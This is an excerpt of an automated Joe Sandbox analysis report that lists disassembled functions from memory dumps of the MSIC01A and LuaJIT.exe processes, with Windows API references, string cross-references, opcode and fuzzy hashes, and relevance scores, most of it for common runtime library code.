Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: 2a2d9031059db65da200d6e9f5a466c4b523c256c1f999b7ce5acddb383f24ed
Instruction ID: f9de7a073d5be384f166f447d1e8f3002abe3b47d4f42f60c35e88cddef5f632
Opcode Fuzzy Hash: 2a2d9031059db65da200d6e9f5a466c4b523c256c1f999b7ce5acddb383f24ed
Instruction Fuzzy Hash: ED21C070A047199BDB14DF68C815BAFBBF8FF44B24F10451EE405A7380D7B9AA049BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00F39070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F3909B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F390FE

Strings

bad locale name, xrefs: 00F39121

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: b6672fcc79595a3920c9a233e232318889c22252fc1276031014371e63d37fe6
Instruction ID: 39be322fdf4d2a96a7d4467f1ee3a306f89ca62395949371f4395ae0dd7f21ce
Opcode Fuzzy Hash: b6672fcc79595a3920c9a233e232318889c22252fc1276031014371e63d37fe6
Instruction Fuzzy Hash: 1321C370805784DED721CF68C90478BBFF4EF15710F10869ED49597781D7B9A604D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3F098 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00F3F09F

Strings

false, xrefs: 00F3F0F6
true, xrefs: 00F3F109

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: H_prolog3_
String ID: false$true
API String ID: 2427045233-2658103896
Opcode ID: 6991ca4f5cf482074d95bbafa9318eac4364ef6c3e82ac7de85e8d92b766e746
Instruction ID: 0d093a449356a8607a440341b52527694960ecc4940a971a6568a5795e2e671e
Opcode Fuzzy Hash: 6991ca4f5cf482074d95bbafa9318eac4364ef6c3e82ac7de85e8d92b766e746
Instruction Fuzzy Hash: E311D3B1D40B80AFC724EFB4D841B8ABBF4AF05310F04C51AE592DB241EB74E608EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F34070 Relevance: 5.2, APIs: 4, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,00F34261,00F74400,000000FF,72A902E8,00000000,?,00000000,?,?,?,00F74400,000000FF,?,00F33A75,?), ref: 00F34096
LocalAlloc.KERNEL32(00000040,40000022,72A902E8,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00F34154
LocalAlloc.KERNEL32(00000040,3FFFFFFF,72A902E8,?,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00F34177
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00F34217

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 8bd96ceb466858fd9de0e686483de91653dbf8c714341a4d1fad151aa90c16d2
Instruction ID: be474dc0c234308dd2e1be3567ee9f8499df09279fdee96d84a1dc7adb201af1
Opcode Fuzzy Hash: 8bd96ceb466858fd9de0e686483de91653dbf8c714341a4d1fad151aa90c16d2
Instruction Fuzzy Hash: 3F519DB1A006059FDB18DF68C985AAEBBB5FB48360F14462DE929E7380D734FD44DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F31D80 Relevance: 5.2, APIs: 4, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,80000022,00000000,?,00000000), ref: 00F31E01
LocalAlloc.KERNEL32(00000040,7FFFFFFF,00000000,?,00000000), ref: 00F31E21
LocalFree.KERNEL32(7FFFFFFE,?,00000000), ref: 00F31EA7
LocalFree.KERNEL32(00000001,72A902E8,00000000,00000000,00F73C40,000000FF,?,00000000), ref: 00F31F2D

Memory Dump Source

Source File: 00000006.00000002.1461051265.0000000000F31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000006.00000002.1461036843.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461083562.0000000000F77000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461103304.0000000000F8C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1461115945.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f30000_MSIC01A.jbxd

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: 003d15609ea4b1fa49dbd6d9c783b8d96cbdea036ef8c8a7619670f19be2b016
Instruction ID: 951de30956ca153643b851778e3459de1d7b758b036e31c76f4b8adfd608b9ff
Opcode Fuzzy Hash: 003d15609ea4b1fa49dbd6d9c783b8d96cbdea036ef8c8a7619670f19be2b016
Instruction Fuzzy Hash: F251E172A082159FC715EF28DC40A6ABBE8FB49370F110A2EF916D7290DB71E9449791

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: LuaJIT.exePID: 7400, Parent PID: 660COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.1%
Total number of Nodes:	1637
Total number of Limit Nodes:	35

Executed Functions

Function 00007FF734B00691 Relevance: 13.8, Strings: 2, Instructions: 11253COMMON

Download Yara Rule

Strings

, xrefs: 00007FF734B0BC4A
n, xrefs: 00007FF734B07B37

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID: $n
API String ID: 0-2632856075
Opcode ID: 9527e5a5e1fa6b575878fa84c6c09e235472329cfb16bff1f4801811506577c5
Instruction ID: 1a661b3146963cb318271c50f424d93f68e0846f67dc5ead34ab88680f593ac9
Opcode Fuzzy Hash: 9527e5a5e1fa6b575878fa84c6c09e235472329cfb16bff1f4801811506577c5
Instruction Fuzzy Hash: F524A871814F0F9AD769DF2988886A0F3A0FF19325F948374C8AE9B5D1DB3464C2D792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B0671B Relevance: 1.7, Strings: 1, Instructions: 459COMMON

Download Yara Rule

Strings

J, xrefs: 00007FF734B056F2

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID: J
API String ID: 0-1141589763
Opcode ID: a56e7a05caab9af9bf068028898b78e5ed4ec07128c54d202b5b68f81d8d36d5
Instruction ID: 45b21f8ab7585cb5df7accd9acbea775bf44091e5e1163f37a70ac5850fef2cc
Opcode Fuzzy Hash: a56e7a05caab9af9bf068028898b78e5ed4ec07128c54d202b5b68f81d8d36d5
Instruction Fuzzy Hash: EDF13830C18B4E96D71A9F358884AB1F3A0FF2A315F859379DC9E5A482DF3470C28297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B037C8 Relevance: 1.7, Strings: 1, Instructions: 451COMMON

Download Yara Rule

Strings

_, xrefs: 00007FF734B028BB

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 06be1f57e193c88356635424a90a78936cff5563eb8ace873d1b39fd4965e912
Instruction ID: 035bae9b4656b3a1fd32e120ce4c06b89d05d89931a954a4d0b57930e240d94f
Opcode Fuzzy Hash: 06be1f57e193c88356635424a90a78936cff5563eb8ace873d1b39fd4965e912
Instruction Fuzzy Hash: FFF11A30C18B4E96D75A9F358884AB1F3A0FF2A315F559379EC9E5A482DF3470C28297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B07F7A Relevance: .6, Instructions: 585COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 243365fc3f55dbf6dd4c3d443cb2882f805c55e91161abbe14cbf5fe0e3d673e
Instruction ID: 0ca46fd3932070ceec4497afc200fa255a9a73fbc6c6f789528f0ee113a9ae2d
Opcode Fuzzy Hash: 243365fc3f55dbf6dd4c3d443cb2882f805c55e91161abbe14cbf5fe0e3d673e
Instruction Fuzzy Hash: 2B222830C18B4E9AE75AAF358884AB5F3A0FF19315F848378DC8E960D1DB34B4C59297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B09615 Relevance: .6, Instructions: 559COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 682d52d32a565a0b11d60daadd7a1e94fdf04c2d47adb3038f292e7ea84cb7fb
Instruction ID: a96a16a3cfc234ed64a0f857543dd8c9bce758e065d2160198836590a36fd94b
Opcode Fuzzy Hash: 682d52d32a565a0b11d60daadd7a1e94fdf04c2d47adb3038f292e7ea84cb7fb
Instruction Fuzzy Hash: C722A770414F0B9AD799DF2884886A1F7A0FF19335F948378D4BE9B5D2DB3461C28786

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B0D646 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 830c3a2a2c4752547a286b6f6faf81b5940fbf09ec5c3ec2066a76b56cbf2f3b
Instruction ID: 96a6bc7829f02a8516bbbd7c11d2599cd7db0aeedc9db264ba10de0da7fc3444
Opcode Fuzzy Hash: 830c3a2a2c4752547a286b6f6faf81b5940fbf09ec5c3ec2066a76b56cbf2f3b
Instruction Fuzzy Hash: 7EF13930C18B0E96D75AAF3584C49B1F3A0FF1A305F959379DC8EAA085DB3474D29297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B0877F Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb082c47524ef5d6c37e321d82e813628a3890c3b486fea592612210b3a1c369
Instruction ID: 66cf12effc5fd3dbdebb80621c51db1d9f166b5123b9503eda3ea06149020e9e
Opcode Fuzzy Hash: eb082c47524ef5d6c37e321d82e813628a3890c3b486fea592612210b3a1c369
Instruction Fuzzy Hash: 52024930C18F0E9AD75AAF398484AB5F3A0FF19315F849379E89E964D1DB3470C28697

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B0D0F3 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a0dd1b469634fbe9c537d4ddbdceeee93b58cfac050f57a1ff281579d1c5a2
Instruction ID: 319a169cf6e837e97e9a1a29b5a24ef1d6c308c7d61791a95c85a2dc2f66aeef
Opcode Fuzzy Hash: b3a0dd1b469634fbe9c537d4ddbdceeee93b58cfac050f57a1ff281579d1c5a2
Instruction Fuzzy Hash: 2CE13A30C18B0E9AD75AAF3584C4AB5F3A1FF19305F859379D88EAA085DF3474C29297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B056FC Relevance: .4, Instructions: 412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9f0d4f8930ef95fa3b3b5d0a1f51427cb5864c8b49b21f14109542709b76be5
Instruction ID: 55806bd38f19fc7c0bd4e304142ec016cc0f49e68167822169213a455658f7df
Opcode Fuzzy Hash: b9f0d4f8930ef95fa3b3b5d0a1f51427cb5864c8b49b21f14109542709b76be5
Instruction Fuzzy Hash: 3DE12830C18B0E96D75AAF3588C49B5B3A0FF19315F859379DC8E6A486DF3474C28297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B028C0 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2befca39d1b5830a71e6d253c93d82be84e898f0df5b0882a9919a2d68ca01c1
Instruction ID: 3b1ff1a68ff75104319edbed9afc63e2c12216cd1c3c1c886ee1e50fd63fe268
Opcode Fuzzy Hash: 2befca39d1b5830a71e6d253c93d82be84e898f0df5b0882a9919a2d68ca01c1
Instruction Fuzzy Hash: 05E11730C18B0E96D75AAF3584C49B5F3A0FF29315F859379EC8E6A486DB3474C28297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B0D081 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d6c9b764d39dcde219d4c8901edccfbe23e100efe6fef57b3d3918a6cb70fe
Instruction ID: d132e5afd1eda01f6b4f59fe412c360b92dea25c564d2cb285b597ff219237da
Opcode Fuzzy Hash: 44d6c9b764d39dcde219d4c8901edccfbe23e100efe6fef57b3d3918a6cb70fe
Instruction Fuzzy Hash: 9BE12A30C18B0E56D75AAF3584C49B5B3A0FF19305F859379EC8E6A086DF3474D68297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF734B0D9AE Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1933422509.00007FF734B00000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF734B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_7ff734b00000_LuaJIT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf58da845510f8d2f0a24c94611b49bfb822de0e522ae078ac23593eeee7cf45
Instruction ID: 35a48df5a61f378ac0129de7055b813d8e1906d98d137aac32edc2e28bab66c6
Opcode Fuzzy Hash: cf58da845510f8d2f0a24c94611b49bfb822de0e522ae078ac23593eeee7cf45
Instruction Fuzzy Hash: 29D12830C18B0E9AD75AAF3584C49B5B3A1FF19305F859379EC8EA6086DF3474C68297

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B11E0C Relevance: 13.8, APIs: 9, Instructions: 273
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF738B119F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B11A31
Part of subcall function 00007FF738B119F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B11AB1
Part of subcall function 00007FF738B119F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF738B11B05
Part of subcall function 00007FF738B119F0: _get_daylight.LIBCMT ref: 00007FF738B11B5D

CreateFileW.KERNEL32 ref: 00007FF738B11F12
CreateFileW.KERNEL32 ref: 00007FF738B11F62
GetLastError.KERNEL32 ref: 00007FF738B11F92
GetFileType.KERNEL32 ref: 00007FF738B11FA7
GetLastError.KERNEL32 ref: 00007FF738B11FB1
CloseHandle.KERNEL32 ref: 00007FF738B11FE4
CloseHandle.KERNEL32 ref: 00007FF738B1213F
CreateFileW.KERNEL32 ref: 00007FF738B12174
GetLastError.KERNEL32 ref: 00007FF738B12183

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 9c6babcf131964b4a709adb186eeeb7abad8bdca1f25803fa6700e53adfe3286
Instruction ID: fae657366cf6ce9a0ffc4c86a90764217059809a0d650056a525940c66e7f05f
Opcode Fuzzy Hash: 9c6babcf131964b4a709adb186eeeb7abad8bdca1f25803fa6700e53adfe3286
Instruction Fuzzy Hash: 62C10437B24A4695EB10DF68C4805ADB771FB48B98B901325DE2E8B7D4CF3AE051D315

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0E1DC Relevance: 10.8, APIs: 7, Instructions: 291
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B0E612

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cba73ceef4245a3387785af76a2bd29b1685e99a0e17626f03ba81314b1aa7ff
Instruction ID: 0af694e1b1bde08217c4d5e033311ae7c132f76671a366e67c6597a9509e11d9
Opcode Fuzzy Hash: cba73ceef4245a3387785af76a2bd29b1685e99a0e17626f03ba81314b1aa7ff
Instruction Fuzzy Hash: 34C102A3A0C687A1EA606B159400ABDEB50FB81B80FC40131EA6D07791DF7EF445E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B0CDE4 Relevance: 7.7, APIs: 5, Instructions: 202
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF738B0CE26
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3,?,?,FFFFFFFE,00007FF738B0D196), ref: 00007FF738B0CEE4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,FFFFFFFE,?,?,00007FF738B0CDA3,?,?,FFFFFFFE,00007FF738B0D196), ref: 00007FF738B0CF6E

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 40fda585d9d5e5497b1d355301c849312dfd192a2488e1c330e367bd86c0f89a
Instruction ID: 3b2a4c53e52454f98a0ab614d7c0a6b13e13b102f01b5a0dae5c1e841268646f
Opcode Fuzzy Hash: 40fda585d9d5e5497b1d355301c849312dfd192a2488e1c330e367bd86c0f89a
Instruction Fuzzy Hash: 3F81B563E19613A9F710BB648850ABCE761BB44B84FD40131DE2E53791DF3AA445E33B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A4F8B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 166
stringCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strrchr.LIBCMTD ref: 00007FF738A4FBDD

Strings

d, xrefs: 00007FF738A4F8D7

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: strrchr
String ID: d
API String ID: 3418686817-2564639436
Opcode ID: d48147831702bd7bd43eec79edb916d25b6cc89b023425ac0650d085df72b790
Instruction ID: 05a8b3556f82e96ddd9d2c6fdcd697d111f98cc9be8649de6cea20a8d5707063
Opcode Fuzzy Hash: d48147831702bd7bd43eec79edb916d25b6cc89b023425ac0650d085df72b790
Instruction Fuzzy Hash: A191AC2360DB8592DA609B15E04036AF760F7C4BA0F549232EAEE83BE9CF3DD044DB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738B09BF4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF738B09C2D
LCMapStringEx.KERNEL32 ref: 00007FF738B09C81
LCMapStringW.KERNEL32 ref: 00007FF738B09CB5

Strings

LCMapStringEx, xrefs: 00007FF738B09C10, 00007FF738B09C21

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff738a30000_LuaJIT.jbxd

Similarity

API ID: String$try_get_function
String ID: LCMapStringEx
API String ID: 1203122356-3893581201
Opcode ID: a49e8d677765019be073db7e119ac0e4e27bb882df4160a7a626eb2ebf4a7855
Instruction ID: 5655e7fa6bb0c16f8d2fea9ffa2affb68e506bdc57f98d340e4f7ae1483bcad1
Opcode Fuzzy Hash: a49e8d677765019be073db7e119ac0e4e27bb882df4160a7a626eb2ebf4a7855
Instruction Fuzzy Hash: 96116D32A08BC296D760DB56F4802AAF7A0FBC9B80F544136EE8D83B59CF3DD4448B45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF738A56950 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExA.KERNEL32(?,?,?,?,?,?,00007FF738A3A559), ref: 00007FF738A5696F
GetProcAddressForCaller.KERNELBASE ref: 00007FF738A56992

Strings

SystemFunction036, xrefs: 00007FF738A56986
advapi32.dll, xrefs: 00007FF738A56968

Memory Dump Source

Source File: 00000009.00000002.1937269519.00007FF738A31000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF738A30000, based on PE: true

Associated: 00000009.00000002.1937252453.00007FF738A30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937462311.00007FF738B21000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937504646.00007FF738B3F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937538221.00007FF738B40000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937577298.00007FF738B42000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.1937595379.00007FF738B45000.00000002.00000001.01000000.00000005.sdmpDownload File

